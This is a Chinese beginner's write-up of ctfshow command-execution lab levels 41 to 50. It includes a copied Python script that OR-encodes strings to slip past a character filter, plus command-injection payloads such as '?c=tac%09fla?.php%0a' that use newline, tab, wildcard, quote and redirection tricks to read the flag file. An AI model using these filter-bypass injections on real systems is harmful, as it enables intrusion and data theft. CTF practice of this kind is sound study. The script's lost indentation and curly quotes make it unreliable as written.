0%

ctfshow-web入门-命令篇(三)[41-50]

web41

这题太难了完全不是我这种web新手和编程新手能写的 甚至代码都看不懂 所以先用之后在理解

想了解入口:CTFshow wbe41 教你写脚本_ctfshow web41-CSDN博客

1.看见他把0-9和a-z过滤了直接懵逼

2.直接看大佬写的脚本(python脚本)

import re
import urllib
from urllib import parse
hex_i = “”
hex_j = “”
pattern=’/[0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-/i’ #题目中过滤的内容
str1=[“system”,”tac fla
“] #所需编码的内容
for p in range(2):
t1 = “”
t2 = “”
for k in str1[p]:
for i in range(256):
for j in range(256):
if re.search(pattern,chr(i)) :
break
if re.search(pattern,chr(j)) :
continue
if i < 16:
hex_i = “0” + hex(i)[2:]
else:
hex_i=hex(i)[2:]
if j < 16:
hex_j=”0”+hex(j)[2:]
else:
hex_j=hex(j)[2:]
hex_i=’%’+hex_i
hex_j=’%’+hex_j
c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
if(c ==k):
t1=t1+hex_i
t2=t2+hex_j
break
else:
continue
break
print(“("“+t1+”"|"“+t2+”")”)
*

3.通过修改编码内容完成过滤 运行脚本(python file.py)

4.然后在抓包软件输入结果然后得到flag

先介绍知识:

”>/dev/null 2>&1“可以用;、||、%26、%0a过滤

更深原理入口:linux环境下运行脚本时常用>/dev/null 2>&1 &这一串的作用_>nul 2>&1-CSDN博客

web42

进入后发现没有过滤只有”>/dev/null 2>&1“

然后利用上面的绕过得到flag

web43

进入后看到多了两个过滤;和cat

cat可用tac代替

;可用%0a等代替

web44

与web43相比 多了flag过滤

可以用*或?过滤

**:匹配0个或多个字符 如:fla *

?是匹配1和字符 如:fla?.php

所以直接改造 : ?c=tac fla?php%0a

web45

发现比上一题多过滤了空格

空格可以用%09等代替

构造:?c=tac%09fla*%0a

web46

这次多过滤了*和0-9

但%09和%0a是url 而0-9数字不包括url编码的数字

所以这次只需要和前面web45修改用?过滤

构造:?c=tac%09fla?.php%0a

web47和web48

和web46一样 新的过滤不影响

web49

虽然过滤了% 但是不包括url编码的%

所以构造相同

web50

发现过滤了%09和%26

%09用<>代替

%26用||代替

但我不知道为啥**匹配符合?**不可以用了

所以把fla?.php改为fla\g.php或者fla’’g.php

构造:?c=tac<>fla\g.php||或者?c=tac<>fla’’g.php||